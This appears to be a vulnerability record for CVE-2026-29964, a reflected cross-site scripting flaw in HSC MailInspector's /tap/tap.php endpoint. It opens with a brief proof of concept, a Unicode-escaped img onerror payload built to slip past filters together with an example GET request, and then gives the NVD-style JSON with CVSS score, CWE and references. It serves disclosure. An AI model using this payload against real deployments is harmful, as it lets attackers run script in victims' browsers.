CVE-2026-29964

// PoC for CVE-2026-29964: XSS in HSC MailInspector // Endpoint: /tap/tap.php // The vulnerability allows execution of arbitrary JS via obfuscated syntax. // Example Payload (Unicode Escaped to bypass filters): // <img src=x onerror=\u0061\u006c\u0065\u0072\u0074(1)> // Request: GET /tap/tap.php?input=<img src=x onerror=\u0061\u006c\u0065\u0072\u0074(1)> HTTP/1.1 Host: target-domain.com

{"cve": {"id": "CVE-2026-29964", "sourceIdentifier": "[email protected]", "published": "2026-05-18T18:17:21.650", "lastModified": "2026-05-19T17:20:32.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HSC MailInspector v5.3.3-7 contains a Cross-Site Scripting (XSS) vulnerability in the /tap/tap.php endpoint due to improper neutralization of user-controlled input using alternate or obfuscated JavaScript syntax. The endpoint reflects unsanitized user input in HTTP responses without adequate output encoding, allowing a remote attacker to execute arbitrary JavaScript code in the context of a victim's browser."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hsclabs:mailinspector:5.3.3-7:*:*:*:*:*:*:*", "matchCriteriaId": "5A2C551A-C71C-468F-A438-7ED1F576338A"}]}]}], "references": [{"url": "https://github.com/sql3t0/cve-disclosures", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/sql3t0/cve-disclosures/blob/main/03_-_CVE-2026-29964_XSS.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://hsclabs.com/pt-br/mailinspector/", "source": "[email protected]", "tags": ["Product"]}]}}